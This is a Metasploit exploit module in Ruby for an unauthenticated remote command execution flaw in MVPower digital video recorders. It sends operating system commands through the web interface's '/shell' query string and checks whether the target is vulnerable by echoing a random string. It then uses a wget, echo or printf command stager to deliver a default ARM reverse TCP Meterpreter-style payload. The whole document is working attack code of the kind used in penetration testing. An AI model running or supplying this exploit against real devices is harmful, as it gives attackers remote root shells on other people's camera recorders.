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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager HttpFingerprint = { :pattern => [ /JAWS\/1\.0/ ] } def initialize(info = {}) super(update_info(info, 'Name'=> 'MVPower DVR Shell Unauthenticated Command Execution', 'Description' => %q{ This module exploits an unauthenticated remote command execution vulnerability in MVPower digital video recorders. The 'shell' file on the web interface executes arbitrary operating system commands in the query string. This module was tested successfully on a MVPower model TV-7104HE with firmware version 1.8.4 115215B9 (Build 2014/11/17). The TV-7108HE model is also reportedly affected, but untested. }, 'Author'=> [ 'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC 'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'License' => MSF_LICENSE, 'Platform'=> 'linux', 'References'=> [ # Comment from Paul Davies contains probably the first published PoC [ 'URL', 'https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ], # Writeup with PoC by Andrew Tierney from Pen Test Partners [ 'URL', 'https://www.pentestpartners.com/blog/pwning-cctv-cameras/' ] ], 'DisclosureDate' => 'Aug 23 2015', 'Privileged' => true, # BusyBox 'Arch' => ARCH_ARMLE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle_reverse_tcp', 'CMDSTAGER::FLAVOR' => 'wget' }, 'Targets'=> [ ['Automatic', {}] ], 'CmdStagerFlavor' => %w{ echo printf wget }, 'DefaultTarget' => 0)) end def check begin fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6) res = send_request_cgi( 'uri' => "/shell?echo+#{fingerprint}", 'headers' => { 'Connection' => 'Keep-Alive' } ) if res && res.body.include?(fingerprint) return CheckCode::Vulnerable end rescue ::Rex::ConnectionError return CheckCode::Unknown end CheckCode::Safe end def execute_command(cmd, opts) begin send_request_cgi( 'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}", 'headers' => { 'Connection' => 'Keep-Alive' } ) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end def exploit print_status("#{peer} - Connecting to target") unless check == CheckCode::Vulnerable fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable") end print_good("#{peer} - Target is vulnerable!") execute_cmdstager(linemax: 1500) end end |
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